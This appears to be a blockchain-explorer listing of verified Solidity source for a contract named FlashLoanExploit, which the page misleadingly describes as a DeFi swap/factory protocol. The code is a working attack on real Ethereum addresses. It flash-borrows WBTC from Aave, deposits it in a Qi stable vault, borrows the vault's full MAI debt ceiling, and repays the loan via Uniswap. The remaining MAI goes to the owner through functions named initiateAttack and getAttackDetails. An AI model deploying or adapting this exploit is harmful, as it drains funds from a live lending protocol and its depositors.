FlashLoanExploit

Description:

Decentralized Finance (DeFi) protocol contract providing Swap, Factory functionality.

Blockchain: Ethereum

Source Code: View Code On The Blockchain

Solidity Source Code:

{{
  "language": "Solidity",
  "sources": {
    "src/FlashLoanExploit.sol": {
      "content": "// SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;

interface IStableQiVault {
    function createVault() external returns (uint256);
    function depositCollateral(uint256 vaultID, uint256 amount) external;
    function borrowToken(uint256 vaultID, uint256 amount, uint256 _front) external;
    function getDebtCeiling() external view returns (uint256);
    function minDebt() external view returns (uint256);
}

interface IERC20 {
    function balanceOf(address account) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transfer(address to, uint256 amount) external returns (bool);
}

interface IAaveLendingPool {
    function flashLoan(
        address receiverAddress,
        address[] calldata assets,
        uint256[] calldata amounts,
        uint256[] calldata modes,
        address onBehalfOf,
        bytes calldata params,
        uint16 referralCode
    ) external;
}

interface IUniswapV3Router {
    struct ExactInputSingleParams {
        address tokenIn;
        address tokenOut;
        uint24 fee;
        address recipient;
        uint256 deadline;
        uint256 amountIn;
        uint256 amountOutMinimum;
        uint160 sqrtPriceLimitX96;
    }
    
    function exactInputSingle(ExactInputSingleParams calldata params) external returns (uint256 amountOut);
}

contract FlashLoanExploit {
    IStableQiVault public constant VAULT = IStableQiVault(0x8C45969aD19D297c9B85763e90D0344C6E2ac9d1);
    IERC20 public constant WBTC = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);
    IERC20 public constant MAI = IERC20(0x8D6CeBD76f18E1558D4DB88138e2DeFB3909fAD6);
    IUniswapV3Router public constant UNISWAP = IUniswapV3Router(0xE592427A0AEce92De3Edee1F18E0157C05861564);
    IAaveLendingPool public constant AAVE = IAaveLendingPool(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9);
    
    address public owner;
    uint256 public profit;
    
    event AttackExecuted(uint256 profit);
    event FlashLoanRepaid(uint256 wbtcRepaid);
    
    constructor() {
        owner = msg.sender;
    }
    
    function executeOperation(
        address[] calldata assets,
        uint256[] calldata amounts,
        uint256[] calldata premiums,
        address initiator,
        bytes calldata params
    ) external returns (bool) {
        require(msg.sender == address(AAVE), "Only Aave can call");
        require(initiator == owner, "Only owner can initiate");
        
        // Step 1: Get WBTC from flash loan
        uint256 wbtcAmount = amounts[0];
        uint256 flashLoanFee = premiums[0];
        
        // Step 2: Create vault and deposit WBTC collateral
        uint256 vaultId = VAULT.createVault();
        WBTC.approve(address(VAULT), wbtcAmount);
        VAULT.depositCollateral(vaultId, wbtcAmount);
        
        // Step 3: Borrow all available MAI with zero fees
        uint256 availableMAI = VAULT.getDebtCeiling();
        VAULT.borrowToken(vaultId, availableMAI, 0);
        
        // Step 4: Calculate WBTC needed for repayment
        uint256 totalWBTCNeeded = wbtcAmount + flashLoanFee;
        
        // Step 5: Swap MAI for WBTC to repay flash loan
        // Use conservative estimate to ensure enough WBTC
        uint256 maiToSwap = (totalWBTCNeeded * 45000e10) / 1e8; // 45,000 MAI per WBTC (conservative)
        
        MAI.approve(address(UNISWAP), maiToSwap);
        
        IUniswapV3Router.ExactInputSingleParams memory swapParams = IUniswapV3Router.ExactInputSingleParams({
            tokenIn: address(MAI),
            tokenOut: address(WBTC),
            fee: 3000,
            recipient: address(this),
            deadline: block.timestamp + 1800,
            amountIn: maiToSwap,
            amountOutMinimum: totalWBTCNeeded * 98 / 100, // 2% slippage protection
            sqrtPriceLimitX96: 0
        });
        
        uint256 wbtcReceived = UNISWAP.exactInputSingle(swapParams);
        require(wbtcReceived >= totalWBTCNeeded, "Insufficient WBTC from swap");
        
        // Step 6: Repay flash loan
        WBTC.approve(address(AAVE), totalWBTCNeeded);
        emit FlashLoanRepaid(totalWBTCNeeded);
        
        // Step 7: Calculate and transfer profit
        uint256 remainingMAI = MAI.balanceOf(address(this));
        profit = remainingMAI;
        MAI.transfer(owner, remainingMAI);
        
        // Transfer any remaining WBTC (excess from swap)
        uint256 remainingWBTC = WBTC.balanceOf(address(this));
        if (remainingWBTC > 0) {
            WBTC.transfer(owner, remainingWBTC);
        }
        
        emit AttackExecuted(profit);
        return true;
    }
    
    function initiateAttack() external {
        require(msg.sender == owner, "Only owner");
        
        uint256 availableMAI = VAULT.getDebtCeiling();
        uint256 minDebt = VAULT.minDebt();
        require(availableMAI >= minDebt, "Insufficient funds to exploit");
        
        // Calculate required WBTC (150% collateralization at $45k WBTC for safety)
        uint256 requiredWBTC = (availableMAI * 150 * 1e8) / (45000 * 100 * 1e18);
        
        // Add 20% buffer for safety
        requiredWBTC = requiredWBTC * 120 / 100;
        
        address[] memory assets = new address[](1);
        assets[0] = address(WBTC);
        
        uint256[] memory amounts = new uint256[](1);
        amounts[0] = requiredWBTC;
        
        uint256[] memory modes = new uint256[](1);
        modes[0] = 0;
        
        AAVE.flashLoan(
            address(this),
            assets,
            amounts,
            modes,
            address(0),
            new bytes(0),
            0
        );
    }
    
    function recoverTokens(address token, uint256 amount) external {
        require(msg.sender == owner, "Only owner");
        IERC20(token).transfer(owner, amount);
    }
    
    function getAttackDetails() external view returns (
        uint256 availableMAI,
        uint256 minDebt,
        bool canExploit,
        uint256 requiredWBTC,
        uint256 potentialProfit
    ) {
        availableMAI = VAULT.getDebtCeiling();
        minDebt = VAULT.minDebt();
        canExploit = availableMAI >= minDebt;
        
        if (canExploit) {
            requiredWBTC = (availableMAI * 150 * 1e8) / (45000 * 100 * 1e18) * 120 / 100;
            uint256 estimatedCost = (requiredWBTC * 45000e10) / 1e8;
            potentialProfit = availableMAI - estimatedCost;
        } else {
            requiredWBTC = 0;
            potentialProfit = 0;
        }
    }
}"
    }
  },
  "settings": {
    "remappings": [
      "forge-std/=lib/forge-std/src/",
      "@openzeppelin/contracts/=lib/openzeppelin-contracts/contracts/",
      "ds-test/=lib/ds-test/src/",
      "erc4626-tests/=lib/openzeppelin-contracts/lib/erc4626-tests/",
      "halmos-cheatcodes/=lib/openzeppelin-contracts/lib/halmos-cheatcodes/src/",
      "openzeppelin-contracts/=lib/openzeppelin-contracts/"
    ],
    "optimizer": {
      "enabled": true,
      "runs": 200
    },
    "metadata": {
      "useLiteralContent": false,
      "bytecodeHash": "ipfs",
      "appendCBOR": true
    },
    "outputSelection": {
      "*": {
        "*": [
          "evm.bytecode",
          "evm.deployedBytecode",
          "devdoc",
          "userdoc",
          "metadata",
          "abi"
        ]
      }
    },
    "evmVersion": "prague",
    "viaIR": true
  }
}}

Tags:
DeFi, Swap, Factory|addr:0xf33bb623a063d3b249332874b5a79db60bf6cf85|verified:true|block:23749803|tx:0x8c6c223eecf95f8a084dedb5477f58ca01a96a9f50c0f51b29d6313974711c37|first_check:1762548617

Submitted on: 2025-11-07 21:50:18

Comments

Log in to comment.

No comments yet.